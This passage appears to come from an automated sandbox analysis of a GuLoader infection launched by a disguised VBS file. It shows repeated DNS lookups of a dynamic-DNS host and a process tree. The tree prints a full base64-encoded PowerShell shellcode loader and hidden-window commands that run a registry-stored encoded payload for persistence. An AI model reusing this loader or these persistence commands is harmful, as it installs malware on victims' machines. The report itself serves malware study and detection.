Jan 28, 2022 15:03:49.759196997 CET	1.1.1.1	192.168.11.20	0x7c5a	No error (0)	bn-files.fe.1drv.com	odc-bn-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)
Jan 28, 2022 15:03:53.413665056 CET	8.8.8.8	192.168.11.20	0x913d	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:04:00.039761066 CET	8.8.8.8	192.168.11.20	0x8464	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:04:06.442406893 CET	8.8.8.8	192.168.11.20	0x8b63	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:04:31.346669912 CET	8.8.8.8	192.168.11.20	0xc587	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:04:37.573110104 CET	8.8.8.8	192.168.11.20	0xa54e	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:04:44.022959948 CET	8.8.8.8	192.168.11.20	0x5af0	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:05:08.858131886 CET	8.8.8.8	192.168.11.20	0xe0ac	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:05:15.284511089 CET	8.8.8.8	192.168.11.20	0x5170	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:05:22.099747896 CET	8.8.8.8	192.168.11.20	0x1ad3	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:05:46.639746904 CET	8.8.8.8	192.168.11.20	0xbc75	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:05:52.797096968 CET	8.8.8.8	192.168.11.20	0x8795	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:05:58.965269089 CET	8.8.8.8	192.168.11.20	0x657a	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:06:23.352252007 CET	8.8.8.8	192.168.11.20	0xe3aa	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:06:29.505557060 CET	8.8.8.8	192.168.11.20	0xbfef	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:06:35.661730051 CET	8.8.8.8	192.168.11.20	0x5b7e	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:06:44.163938999 CET	1.1.1.1	192.168.11.20	0x38dc	No error (0)	onedrive.live.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)
Jan 28, 2022 15:06:44.891179085 CET	1.1.1.1	192.168.11.20	0x7b3e	No error (0)	onedrive.live.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)
Jan 28, 2022 15:06:45.260519028 CET	1.1.1.1	192.168.11.20	0xf024	No error (0)	kadnjg.bn.files.1drv.com	bn-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)
Jan 28, 2022 15:06:45.260519028 CET	1.1.1.1	192.168.11.20	0xf024	No error (0)	bn-files.fe.1drv.com	odc-bn-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)
Jan 28, 2022 15:06:59.983253002 CET	8.8.8.8	192.168.11.20	0x2924	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:07:06.152585983 CET	8.8.8.8	192.168.11.20	0xc197	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:07:12.291568995 CET	8.8.8.8	192.168.11.20	0xe886	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:07:36.681489944 CET	8.8.8.8	192.168.11.20	0x7805	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:07:42.850225925 CET	8.8.8.8	192.168.11.20	0x2721	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:07:49.021013021 CET	8.8.8.8	192.168.11.20	0xce97	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:08:13.387904882 CET	8.8.8.8	192.168.11.20	0xc57b	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:08:19.545892954 CET	8.8.8.8	192.168.11.20	0x4c1	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:08:25.724107981 CET	8.8.8.8	192.168.11.20	0x6a7e	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:08:50.117366076 CET	8.8.8.8	192.168.11.20	0x38b0	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:08:56.289551973 CET	8.8.8.8	192.168.11.20	0xae38	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:09:02.456856012 CET	8.8.8.8	192.168.11.20	0x2972	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:09:26.843240976 CET	8.8.8.8	192.168.11.20	0x87e0	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:09:33.013900042 CET	8.8.8.8	192.168.11.20	0xb25	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:09:39.182609081 CET	8.8.8.8	192.168.11.20	0x4d10	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:10:03.570439100 CET	8.8.8.8	192.168.11.20	0x59d8	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:10:09.738333941 CET	8.8.8.8	192.168.11.20	0xd7e4	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)
Jan 28, 2022 15:10:15.893682957 CET	8.8.8.8	192.168.11.20	0x59f9	No error (0)	tochukwu1122.ddns.net		185.140.53.143	A (IP address)	IN (0x0001)

Target ID:	2
Start time:	15:01:55
Start date:	28/01/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\IMG 0045434.vbs"
Imagebase:	0x7ff7e65b0000
File size:	170496 bytes
MD5 hash:	0639B0A6F69B3265C1E42227D650B7D1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	10
Start time:	15:02:31
Start date:	28/01/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGwAdQBkAHIAZQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABWAEUAUgBTAEEATABFAFIATgAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBsAHUAZAByAGUAYwBoACwAaQBuAHQAIABSAGUAZgByAG0AYQBuACwAaQBuAHQAIABTAGwAdQBkAHIAZQBjAGgANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABNAG8AbgBzAHQAcgAsAHUAaQBuAHQAIABNAGUAbABsAGUAOAAsAGkAbgB0ACAATgBvAG4AcABlAHIAYwBlAHAALABpAG4AdAAgAFMAbAB1AGQAcgBlAGMAaAAwACwAaQBuAHQAIABIAEEAQgBBAE4ALABpAG4AdAAgAEIAQQBBAE4ALABpAG4AdAAgAE4AUgBJAE4ARwBTACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMAAsAHUAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADEALABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4AMgAsAHIAZQBmACAASQBuAHQAMwAyACAARgBvAHIAYgBpAHMAdAByAGkAbgAzACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEYAbwByAGIAaQBzAHQAcgBpAG4ANQAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA2ACwAaQBuAHQAIABGAG8AcgBiAGkAcwB0AHIAaQBuADcALABpAG4AdAAgAEYAbwByAGIAaQBzAHQAcgBpAG4AOAAsAGkAbgB0ACAARgBvAHIAYgBpAHMAdAByAGkAbgA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAGMAaQBzAHQAZQByAGMAaQAgAHAAdQBuAGsAdABlAHIAIABUAGUAbQB1ADQAIABQAEEAVABSAE8ATgBFAFMAIABIAGUAcwB0AGUAawAgAFUATgBSAEUARgBPACAAYgBlAGsAcgBhAG4AcwAgAFAAYQBtAHAAcgAgAEcAZQBuAGIAcgB1ACAAZABlAGMAZQByACAAQwByAGUAcwBjAGUAbgB0ACAAVABoAGkAYQBzAHUAcwBpACAAcABpAGwAdABzAHQAIABPAG0AcwBvAHIAZwBzAGMAZQAgAFAAcgBlAGwANgAgAGIAYQByAHMAawBhAGIAZQBzAG4AIABNAGUAdABhAHQAaABlACAAVABlAGwAZQB2AHMAbgBlAHQAcwA2ACAAUwBtAGEAbABzADcAIABCAE8ATwBTAFQARQBSAEkAIABtAGkAcwBtACAAUABJAE4AUwAgAFQAbgBkAGUAaAB2AGwAMQAgAHMAawByAGkAdgAgAE8AdgBlAHIAIAB1AG4AcAByAG8AcABhAGcAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEgAaQBsAGQAMwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBQAGkAZQByAGkAZAAiACAADQAKACQAUwBsAHUAZAByAGUAYwBoADMAPQAwADsADQAKACQAUwBsAHUAZAByAGUAYwBoADkAPQAxADAANAA4ADUANwA2ADsADQAKACQAUwBsAHUAZAByAGUAYwBoADgAPQBbAFMAbAB1AGQAcgBlAGMAaAAxAF0AOgA6AE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAC0AMQAsAFsAcgBlAGYAXQAkAFMAbAB1AGQAcgBlAGMAaAAzACwAMAAsAFsAcgBlAGYAXQAkAFMAbAB1AGQAcgBlAGMAaAA5ACwAMQAyADIAOAA4ACwANgA0ACkADQAKACMAcwBvAGcAbgBlACAAcwBhAG4AZwAgAE4AWQBUAFYAQQBOAEMAIABSAGkAbABsAGUAdABwAHIAbwA4ACAAcABvAHAAdQBsAGEAcgAgAGIAaQBsAGwAZQBkAG0AIABsAHMAZQBwAHIAbwBjACAAYwBvAG4AcwB0AGEAbgAgAFMAdQBiAHQAZQAgAEkAbABzAGEAYgBlAHQAOQAgAGgAdQBsAGsAeQBuAGEAcAAgAGIAZQB2AHIAdABlAHIAZQBuACAAUwBpAGQAZQB2AGkAIABNAGEAcwB0ACAARQBuAHMAbwBtADEAIABVAG4AZABlAHIAcwBjAGEAbABlADEAIABUAHIAeQBrAGsAZQByAGkAbAAgAEkAZABvAGwAaQBzAGUAcgBpADEAIAByAGUAZAB1ACAAdQBuAGQAdgBpAGcAZQBtAGEAbgAgAEQAZQBmAGUAIABLAE4ATwBDAEsATwBVACAAUwBsAHYAZQBzAHQAZQBzACAATgBvAG4AYgBlACAAUgBlAGEAcgBiAGkAdAByAGEAdAAgAGMAbwByAGIAZQBpAGwAcwBkAG8AIABzAGEAbgBkAHMAeQBuAGwAaQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAcwBlAGsAcgBlAHQAZQByACIAIAANAAoAJABTAGwAdQBkAHIAZQBjAGgAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwAVABSAEkAQwBBAC4AZABhAHQAIgANAAoAIwBlAGYAdABlAHIAIABEAHUAcABwAGUAdABmAG8AcgA1ACAAQwBhAHIAZgB1ADEAIABzAHUAcgBlAG4AZQAgAEEARgBTAEkARwAgAGEAcgBpAGsAYQByAGEAcABlAHIAIABQAEkARwBFAE8ATgBIAE8ATABFACAASABvAHYAZQBsAGUAIABTAG0AZQBsAHQAZQAgAG0AZQBsAGUAbgBhACAAVQB0AGEAawAzACAARwBMAE8AUgBJAEUATgBTACAAQwBvAG4AYwBpAG8ANQAgAA0ACgAkAFMAbAB1AGQAcgBlAGMAaAA0AD0AWwBTAGwAdQBkAHIAZQBjAGgAMQBdADoAOgBDAHIAZQBhAHQAZQBGAGkAbABlAEEAKAAkAFMAbAB1AGQAcgBlAGMAaAAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAEIAdQBtAGIAZQByAHMAaABvAG8AIABVAG4AZgBsADMAIABVAG4AcwBhAGMAcgBhADUAIABPAHAAaAB0AGgAYQBsACAAQgByAGEAdAB0AGkAbgAyACAAUABZAFQASABPACAASABlAHIAbQBlAGQAcAA4ACAATAByAGUAcgAyACAAdgBhAHIAcAAgAFEAdQBhAGQAdwBvACAATwB2AGUAcgB0AGgAcgBvADIAIABBAHIAbQBlAG4AaQBhAGEAcgByADMAIABIAGEAbAB2ADQAIABDAHIAdQBuAGsAbABlAHAAZQBuADQAIAByAGUAcwBwAGkAcgAgAFMATQBVAEsASwBFAFMAVABJAFYAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEMAYQByAGMAaABhAHIAbwAiACAADQAKACQAUwBsAHUAZAByAGUAYwBoADUAPQAwADsADQAKACMAUABhAHIAcwA5ACAAUwBVAFAAUABPAFIAVABBACAARABKAEEARQBWAEUATABTAEsAQwAgAFAAUgBPAEMARQBSAEUATQBPACAATABvAHIAaQBjAGEAZQBwAHIAZQAgAGcAdQByAHIAcwAgAGQAZQBnAHIAYQAgAGwAaQB0AHUAcgBnAGkAZQBzACAAUABBAEEAVABBAEcARQAgAFUAbgByAGUAcAB1AGwAcwAgAFUAbgBhAGMAYwBlAHAAdABhACAASwBlAGwAbAA3ACAAVwBhAGcAZwBsAGUAcwB1AGQAZwAgAE0AZQBnAGEAbABvAHIAbgBpAHQAIABjAG8AbQBwAHUAIABCAFUARABTACAAQgByAG8AbwBkAHkAYQBzAHQAcgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATwB2AGUAcgB0AHIAYQBtAHAAbAAiACAADQAKAFsAUwBsAHUAZAByAGUAYwBoADEAXQA6ADoAUgBlAGEAZABGAGkAbABlACgAJABTAGwAdQBkAHIAZQBjAGgANAAsACQAUwBsAHUAZAByAGUAYwBoADMALAA1ADQANwAzADEALABbAHIAZQBmAF0AJABTAGwAdQBkAHIAZQBjAGgANQAsADAAKQANAAoAIwBNAHUAcwBpAGMAcgB5AGIAdQAgAEQATwBLAFUATQAgAEIARQBTAEsAIABjAG8AYQBnAHUAbABvAG0AIABuAG8AbgBzAHkAcwB0AGUAIABQAFIARQBDAEUAUgBUAEkARgAgAFMAYQBiAGIAYQB0AGEAIABwAHUAbgBkAGsAdQByACAAQwBoAGwAbwAgAEwAbwBlAHMAZQAyACAASABhAHYAbgBlAGYAbwAzACAATQBlAHQAYQAxACAAaQBzAGIAYQBhAGQAcwBoAGEAIABUAHIAYQBjAGgAeQBjAGEAIABIAEUAUgBSAEUARwAgAEwAQQBOAEQAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFoAZQBhAGwAOQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBLAGEAbABrAHYAcgBrADQAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAbABlAHYAZQBmAG8AZABlAG4AZAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBTAHQAcgBiAGUANAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBMAEkATgBFAE4ARABFAFMASwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBTAHAAZQBhAGsAZQBhAHMAeQBjADgAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATQBVAFMASwBVACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEIAcgBhAG4AZABzAGwAdQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBBAGQAZABpAGIAbABlAGQAZQBzACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFAAaABvAGIAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATgBpAGcAaAB0AHcAMwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBUAGoAZQBuAGUAcwB0AGUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASABpAGcAaAB3AGEAeQBtAGEAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIATwBwAGQAYQB0AGUAcgBpACIAIAANAAoAWwBTAGwAdQBkAHIAZQBjAGgAMQBdADoAOgBDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAVwAoACQAUwBsAHUAZAByAGUAYwBoADMALAAgADAALAAwACwAMAAsADAAKQANAAoADQAKAA==
Imagebase:	0x480000
File size:	433152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	low

Show Windows behavior

Target ID:	11
Start time:	15:02:31
Start date:	28/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6c2170000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	14
Start time:	15:03:16
Start date:	28/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kxeayl3s.cmdline
Imagebase:	0x230000
File size:	2141552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	low

Show Windows behavior

Target ID:	15
Start time:	15:03:17
Start date:	28/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1FFF.tmp" "c:\Users\user\AppData\Local\Temp\CSCAB9D447D8E2849BB9EF6D8A3F7C9ADB.TMP"
Imagebase:	0xb60000
File size:	46832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	16
Start time:	15:03:40
Start date:	28/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Imagebase:	0xe80000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000010.00000000.266464354998.0000000001300000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Target ID:	17
Start time:	15:03:58
Start date:	28/01/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Imagebase:	0x7ff7ddaf0000
File size:	289792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	18
Start time:	15:03:59
Start date:	28/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6c2170000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	19
Start time:	15:03:59
Start date:	28/01/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Imagebase:	0x480000
File size:	433152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	low

Show Windows behavior

Target ID:	20
Start time:	15:04:07
Start date:	28/01/2022
Path:	C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe"
Imagebase:	0xb60000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 0%, Metadefender, Browse Detection: 0%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Target ID:	21
Start time:	15:04:07
Start date:	28/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6c2170000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	22
Start time:	15:04:15
Start date:	28/01/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Imagebase:	0x7ff7ddaf0000
File size:	289792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	23
Start time:	15:04:15
Start date:	28/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6c2170000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	24
Start time:	15:04:15
Start date:	28/01/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)
Imagebase:	0x480000
File size:	433152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Target ID:	25
Start time:	15:04:16
Start date:	28/01/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand 